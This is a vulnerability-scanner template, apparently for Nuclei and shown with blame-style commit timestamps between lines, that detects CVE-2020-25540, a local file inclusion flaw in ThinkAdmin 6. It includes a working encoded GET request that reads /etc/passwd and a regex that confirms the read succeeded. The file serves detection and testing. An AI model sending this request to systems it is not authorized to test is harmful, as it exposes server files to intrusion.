2021-01-02 04:56:15 +00:00
id : CVE-2020-25540
2020-09-16 18:24:38 +00:00
2022-04-22 10:38:41 +00:00
info :
2022-07-26 13:45:11 +00:00
name : ThinkAdmin 6 - Local File Inclusion
2020-09-16 18:17:57 +00:00
author : geeknik
2021-09-10 11:26:40 +00:00
severity : high
2022-07-26 13:45:11 +00:00
description : ThinkAdmin version 6 is affected by a local file inclusion vulnerability because an unauthorized attacker can read arbitrary files on a remote server via GET request encode parameter.
2022-04-22 10:38:41 +00:00
reference :
- https://www.exploit-db.com/exploits/48812
2022-05-17 09:18:12 +00:00
- https://github.com/zoujingli/ThinkAdmin/issues/244
- https://wtfsec.org/posts/thinkadmin-v6-%E5%88%97%E7%9B%AE%E5%BD%95-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96/
- http://packetstormsecurity.com/files/159177/ThinkAdmin-6-Arbitrary-File-Read.html
2022-07-26 13:45:11 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-25540
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 7.5
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-25540
cwe-id : CWE-22
2023-07-11 19:49:27 +00:00
epss-score : 0.96525
cpe : cpe:2.3:a:ctolog:thinkadmin:6.0:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : ctolog
product : thinkadmin
tags : thinkadmin,lfi,edb,packetstorm,cve,cve2020
2020-09-16 18:24:38 +00:00
2023-04-27 04:28:59 +00:00
http :
2020-09-16 18:17:57 +00:00
- method : GET
path :
- '{{BaseURL}}/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s'
2020-09-16 18:24:38 +00:00
2020-09-16 18:17:57 +00:00
matchers-condition : and
matchers :
- type : regex
regex :
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200